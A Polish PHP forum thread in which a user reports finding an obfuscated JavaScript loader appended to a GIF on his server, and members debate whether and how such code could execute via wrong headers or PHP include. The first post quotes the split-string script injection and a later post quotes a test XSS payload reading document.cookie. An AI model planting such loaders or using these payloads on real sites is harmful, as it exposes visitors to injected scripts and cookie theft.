Witaj Gościu! ( Zaloguj | Rejestruj )

Forum PHP.pl

> javascript w obrazku
sazian
post
Post #1





Grupa: Zarejestrowani
Postów: 1 045
Pomógł: 141
Dołączył: 19.09.2006
Skąd: B-tów

Ostrzeżenie: (0%)
-----


Witam,
ostatnio puściłem skan w poszukiwaniu frazy document.write i ku mojemu zdziwieniu znalazło to w pliku gif smile.gif
dokładniej wygląda to tak - jest to doklejone na końcu obrazka
  1. <script type="text/javascript"><!--
  2. document.writeln('<'+'scr'+'ipt type="text/javascript" src="tu adres do jakiejś strony"></'+'scr'+'ipt>');
  3. //--></script>



zacząłem z tym trochę kombinować i owszem da się dopisać dowolny kod bez uszkadzania pliku ale nie daje się on uruchomić.
Jakie warunki trzeba spełnić aby taki kod został uruchomiony questionmark.gif czy daje się on w ogóle uruchomić questionmark.gif

Go to the top of the page
+Quote Post
2 Stron V   1 2 >  
Start new topic
Odpowiedzi (1 - 19)
thek
post
Post #2





Grupa: Moderatorzy
Postów: 4 362
Pomógł: 714
Dołączył: 12.02.2009
Skąd: Jak się położę tak leżę :D




Daje się... Jest to "test" przetwarzania obrazów i zabezpieczeń serwera. Ogólnie... Problem w tym, że niektórzy do serwowania obrazów używają funkcji z rodziny include czy require. To odpali z reguły kod wink.gif Możesz ogólnie o obrazach poczytać tutaj. http://darksidegeeks.com/complete-file-upl...ulnerabilities/ Zwłaszcza zainteresuje Cię fragment: "Image File Content Verification"


--------------------
Najpierw był manual... Jeśli tam nie zawarto słów mądrości to zapytaj wszechwiedzącego Google zadając mu własciwe pytania. A jeśli i on milczy to Twój problem nie istnieje :D
Go to the top of the page
+Quote Post
sazian
post
Post #3





Grupa: Zarejestrowani
Postów: 1 045
Pomógł: 141
Dołączył: 19.09.2006
Skąd: B-tów

Ostrzeżenie: (0%)
-----


ok tylko z tego co tak na szybko przejrzałem to tam chodzi o wstawienie pliku php zamiast obrazka i późniejsze uruchamianie tego skryptu

a w moim przypadku jest to kod js doklejony do normalnego obrazka, mogę go normalnie wyświetlić w przeglądarce czy otworzyć gimpem
czyli autor zapewne przewidywał że będzie się dało to uruchomić
jeśli go wczytuję przez <img src /> kod js nie jest uruchamiany

ps. a tak swoją drogą to chyba bym nie wpadł na pomysł że obrazek można include pociągnąć biggrin.gif
Go to the top of the page
+Quote Post
nospor
post
Post #4





Grupa: Moderatorzy
Postów: 36 557
Pomógł: 6315
Dołączył: 27.12.2004




Obrazki/zasoby/pliki można zwracać nie bezpośrednio przez ścięzkę do nich, ale np. przez skrypt php.
Np. gdy chcesz wpierw sprawdzac czy ktos moze miec dostep do tego, albo gdy zwracasz dynamicznie obrazki, albo gdy chcesz ukryć ściężkę do obrazka.

Wówczas skrypt php ma np. taki kod:

//tu jakieś nagłówki
//header
readfile('obrazek.png');

w takim wypadku skrypt js prawdopodobnie się wykona.


--------------------

"Myśl, myśl, myśl..." - Kubuś Puchatek || "Manual, manual, manual..." - Kubuś Programista
"Szukaj, szukaj, szukaj..." - Kubuś Odkrywca || "Debuguj, debuguj, debuguj..." - Kubuś Developer

Go to the top of the page
+Quote Post
sazian
post
Post #5





Grupa: Zarejestrowani
Postów: 1 045
Pomógł: 141
Dołączył: 19.09.2006
Skąd: B-tów

Ostrzeżenie: (0%)
-----


no niestety nie
próbowałem z file_get_contents i readfile
nic
dokleiłem kod php i też nic
dopiero kod php + include zadziałało

ale to i tak nie zmienia faktu że js nie daje się uruchomić
Go to the top of the page
+Quote Post
ano
post
Post #6





Grupa: Zarejestrowani
Postów: 435
Pomógł: 40
Dołączył: 16.02.2003
Skąd: Wrocław

Ostrzeżenie: (0%)
-----


Czemu niby skrypt JS miałby się wykonać? Jeżeli nagłówki odpowiedzi są poprawne (mimetype odpowiedzi oznaczony na obrazek) to przeglądarka nie bedzie próbowała interpretować odpowiedzi jako html - nic sie nie "odpali". Nie ważne czy include, czy file_get....

Myślę, że mylicie to z atakiem polegającym na użyciu spreparowanego obrazka - z kodem PHP. Wtedy przy include móglby się odaplić zaszyty kod.


--------------------
Linkedin | ...
Go to the top of the page
+Quote Post
sazian
post
Post #7





Grupa: Zarejestrowani
Postów: 1 045
Pomógł: 141
Dołączył: 19.09.2006
Skąd: B-tów

Ostrzeżenie: (0%)
-----


ok tylko poco ktoś by dodawał taki kod skoro i tak nigdy się nie uruchomi
Go to the top of the page
+Quote Post
Pawel_W
post
Post #8





Grupa: Zarejestrowani
Postów: 1 675
Pomógł: 286
Dołączył: 15.06.2009
Skąd: Wieliczka

Ostrzeżenie: (0%)
-----


może ktoś chciał Ci zawirusować serwer i zamiast dodać ten kod tylko do plików .html i .php przez przypadek (questionmark.gif) dodał do wszystkiego co było smile.gif
Go to the top of the page
+Quote Post
Pilsener
post
Post #9





Grupa: Zarejestrowani
Postów: 1 590
Pomógł: 185
Dołączył: 19.04.2006
Skąd: Gdańsk

Ostrzeżenie: (0%)
-----


Żeby sprawdzić mechanizmy bezpieczeństwa choćby. Kiedyś polecany i popularny był sposób, by wczytać kilka pierwszych i ostatnich bajtów pliku. Dziś już nie trzeba tego robić bo są dedykowane maszyny tylko pod obrazki i specjalne biblioteki do sprawdzania plików, zwłaszcza obrazków. Byle lamer nie złamie. Poza tym nigdy nie mów nigdy, w tym wypadku akurat się nie wykona ale może ktoś chce to połączyć np. z awarią serwera? To tak jak kod PHP teoretycznie nigdy nie powinien być widoczny na stronie a w praktyce wiele razy już to widziałem.
Go to the top of the page
+Quote Post
nospor
post
Post #10





Grupa: Moderatorzy
Postów: 36 557
Pomógł: 6315
Dołączył: 27.12.2004




Cytat
Czemu niby skrypt JS miałby się wykonać? Jeżeli nagłówki odpowiedzi są poprawne (mimetype odpowiedzi oznaczony na obrazek) to przeglądarka nie bedzie próbowała interpretować odpowiedzi jako html - nic sie nie "odpali".

1) Czasami przeglądarka zamiast wyświetlać zdjęcie, wyświetla jego zawartosc - i ups, js się wykona. Bug przeglądarki?
2) Czasem ktoś stworzy złe nagłówki i ups, kod js się wykona.


--------------------

"Myśl, myśl, myśl..." - Kubuś Puchatek || "Manual, manual, manual..." - Kubuś Programista
"Szukaj, szukaj, szukaj..." - Kubuś Odkrywca || "Debuguj, debuguj, debuguj..." - Kubuś Developer

Go to the top of the page
+Quote Post
ano
post
Post #11





Grupa: Zarejestrowani
Postów: 435
Pomógł: 40
Dołączył: 16.02.2003
Skąd: Wrocław

Ostrzeżenie: (0%)
-----


Cytat(nospor @ 13.02.2013, 09:20:19 ) *
1) Czasami przeglądarka zamiast wyświetlać zdjęcie, wyświetla jego zawartosc - i ups, js się wykona. Bug przeglądarki?
2) Czasem ktoś stworzy złe nagłówki i ups, kod js się wykona.

1 - ? Podaj przykład? Jakby to przeglądarka się wywaliła to przecież kodzik js nie ma prawa się wtedy odpalić... (Bo się wywaliła przeglądarka wink.gif)
2 - czasem ktoś wyłączy interpreter php i ups kod php się pokaże... - sorry, ale to taki sam argument ;p

Zainteresowanym min. tym tematem polecam książke lcamtufa "The tangled web" (http://lcamtuf.coredump.cx/tangled/).
Część jednego rozdziału jest poświęcona dokładnie temu zagadnieniu wraz z radami jak się uchronić.

Trzeba pamiętać, że sama przeglądarka zapewnia pewny stopień bezpieczeństwa (najprostszy przykład - same origin policy, zabezpieczenia przed osadzeniem strony w ramce przez odpowiednie nagłówki odpowiedzi itp)

Ciekawostka: bodajże od wersji 8 InternetExplorer posiada zabezpieczenia przed atakami XSS :DDD


--------------------
Linkedin | ...
Go to the top of the page
+Quote Post
nospor
post
Post #12





Grupa: Moderatorzy
Postów: 36 557
Pomógł: 6315
Dołączył: 27.12.2004




1) A czy ja powiedziałem ze się wywala? Czasami poprostu wariuje i wyświetla kod obrazka, zamiast go odpalić
2) Nie, bo jak ktoś schrzani nagłówki, a obrazki będą dobre, to nic się nie stanie. Ale jak ktoś podrzuci lewy obrazek, a nagłówki będą schrzanione, to właśnie się stanie kuku.

Pytanie w tym wątku było: po co dawać js w obrazku?
Odpowiedz już padła: po to, ze jak ktoś coś schrzani, to się kod wykona. Proste. Tyle w temacie.

Cytat
Ciekawostka: bodajże od wersji 8 InternetExplorer posiada zabezpieczenia przed atakami XSS :DDD
Haha... jakieś szczegóły? Bardzo ciekawi mnie jak on rozpozna, że dany kod jest atakiem xss a nie celowym kodem autora aplikacji/redaktora serwisu?


--------------------

"Myśl, myśl, myśl..." - Kubuś Puchatek || "Manual, manual, manual..." - Kubuś Programista
"Szukaj, szukaj, szukaj..." - Kubuś Odkrywca || "Debuguj, debuguj, debuguj..." - Kubuś Developer

Go to the top of the page
+Quote Post
ano
post
Post #13





Grupa: Zarejestrowani
Postów: 435
Pomógł: 40
Dołączył: 16.02.2003
Skąd: Wrocław

Ostrzeżenie: (0%)
-----


http://blogs.msdn.com/b/ieinternals/archiv...ttp-header.aspx

Podejrzyj np. odpowiedzi google.com ;p (http://stackoverflow.com/questions/9090577/what-is-the-http-header-x-xss-protection)

To trochę jak z magic quotes w php... (Kretynizm^2) ;P

Co ciekawe, przed chwilą sprawdzałem i Safari też ma analogiczne "zabezpieczenie" wink.gif

Ten post edytował ano 15.02.2013, 00:22:08


--------------------
Linkedin | ...
Go to the top of the page
+Quote Post
nospor
post
Post #14





Grupa: Moderatorzy
Postów: 36 557
Pomógł: 6315
Dołączył: 27.12.2004




Strach się bać, jak on już takie kody:
Kod
<script>alert("bang! script injection\n"+document.cookie);</script>
uznaje za XSS.
Znowy wrócą piękne czasy, gdy na stronie będzie pojawiał się komunikat:
Używasz IE8. Proszę zmień przeglądarkę na inną, gdyż z IE8 ta strona poprawnie działać nie będzie
lol


--------------------

"Myśl, myśl, myśl..." - Kubuś Puchatek || "Manual, manual, manual..." - Kubuś Programista
"Szukaj, szukaj, szukaj..." - Kubuś Odkrywca || "Debuguj, debuguj, debuguj..." - Kubuś Developer

Go to the top of the page
+Quote Post
pyro
post
Post #15





Grupa: Zarejestrowani
Postów: 2 148
Pomógł: 230
Dołączył: 26.03.2008

Ostrzeżenie: (0%)
-----


Cytat(nospor @ 13.02.2013, 09:20:19 ) *
1) Czasami przeglądarka zamiast wyświetlać zdjęcie, wyświetla jego zawartosc - i ups, js się wykona. Bug przeglądarki?
2) Czasem ktoś stworzy złe nagłówki i ups, kod js się wykona.


1) @nospor, nawet jak przeglądarka wywali kod (tak, mi się też to zdarzyło), to kod się nie wykona, bo to na podstawie nagłówków przeglądarka decyduje z jakiego parsera ma korzystać. No chyba, że przeglądarka się zepsuje tak, że obrazki traktuje jako kod HTML, ale nie spotkałem się z czymś takim arrowheadsmiley.png
2) No tak..., ale ktoś zapomni dać "<?php" albo ze zbyt szybkiego pisania "< ?php" i pokaże się cały kod PHP... oooppsss. Krzywda na własne życzenie i za własne niedbalstwo.

Cytat(ano @ 14.02.2013, 22:42:40 ) *
Ciekawostka: bodajże od wersji 8 InternetExplorer posiada zabezpieczenia przed atakami XSS :DDD


Te "zabezpieczenia", to tak naprawdę nie są żadne zabezpieczenia, tylko zwyczajne utrudnienia.


--------------------
ET LINGUA EIUS LOQUETUR IUDICIUM
Go to the top of the page
+Quote Post
nospor
post
Post #16





Grupa: Moderatorzy
Postów: 36 557
Pomógł: 6315
Dołączył: 27.12.2004




1) A mi się zdarzało i dośc czesto smile.gif
2) Tak, tylko że jak komus pokaże się cały kod php, to przecież autor aplikacji to zobaczy od razu i od razu będzie mógł to skorygować. A jak coś spieprzy w nagówkach to może się okazać, że dopiero lewy obrazek to wykaże. A wówczas to nie autor aplikacji zobaczy błąd, a haker.


--------------------

"Myśl, myśl, myśl..." - Kubuś Puchatek || "Manual, manual, manual..." - Kubuś Programista
"Szukaj, szukaj, szukaj..." - Kubuś Odkrywca || "Debuguj, debuguj, debuguj..." - Kubuś Developer

Go to the top of the page
+Quote Post
pyro
post
Post #17





Grupa: Zarejestrowani
Postów: 2 148
Pomógł: 230
Dołączył: 26.03.2008

Ostrzeżenie: (0%)
-----


Cytat(nospor @ 15.02.2013, 10:11:53 ) *
1) A mi się zdarzało i dośc czesto smile.gif


Co? Zdarzyło Ci się, że przeglądarka wywaliła kod obrazka (z winy przeglądarki) i wykonał się w niej jakiś kod JS? Nie wierzę Ci snitch.gif


--------------------
ET LINGUA EIUS LOQUETUR IUDICIUM
Go to the top of the page
+Quote Post
nospor
post
Post #18





Grupa: Moderatorzy
Postów: 36 557
Pomógł: 6315
Dołączył: 27.12.2004




Kod js się nie wykonywał, bo wówczas miałem normalne obrazki wink.gif Dobra, niech będzie że punkt 1 został obalony. Ale zostaje punkt nr 2 jako odpowiedź na pytanie autora tematu smile.gif


--------------------

"Myśl, myśl, myśl..." - Kubuś Puchatek || "Manual, manual, manual..." - Kubuś Programista
"Szukaj, szukaj, szukaj..." - Kubuś Odkrywca || "Debuguj, debuguj, debuguj..." - Kubuś Developer

Go to the top of the page
+Quote Post
pyro
post
Post #19





Grupa: Zarejestrowani
Postów: 2 148
Pomógł: 230
Dołączył: 26.03.2008

Ostrzeżenie: (0%)
-----


Cytat(nospor @ 15.02.2013, 10:16:29 ) *
Kod js się nie wykonywał, bo wówczas miałem normalne obrazki wink.gif Dobra, niech będzie że punkt 1 został obalony. Ale zostaje punkt nr 2 jako odpowiedź na pytanie autora tematu smile.gif


Życzysz sobie, żebym obalił również i 2 punkt tongue.gif ?


--------------------
ET LINGUA EIUS LOQUETUR IUDICIUM
Go to the top of the page
+Quote Post
nospor
post
Post #20





Grupa: Moderatorzy
Postów: 36 557
Pomógł: 6315
Dołączył: 27.12.2004




Dawaj. Chętnie zobaczę jak to zrobisz smile.gif


--------------------

"Myśl, myśl, myśl..." - Kubuś Puchatek || "Manual, manual, manual..." - Kubuś Programista
"Szukaj, szukaj, szukaj..." - Kubuś Odkrywca || "Debuguj, debuguj, debuguj..." - Kubuś Developer

Go to the top of the page
+Quote Post

2 Stron V   1 2 >
Reply to this topicStart new topic
1 Użytkowników czyta ten temat (1 Gości i 0 Anonimowych użytkowników)
0 Zarejestrowanych:

 



RSS Aktualny czas: 19.08.2025 - 15:59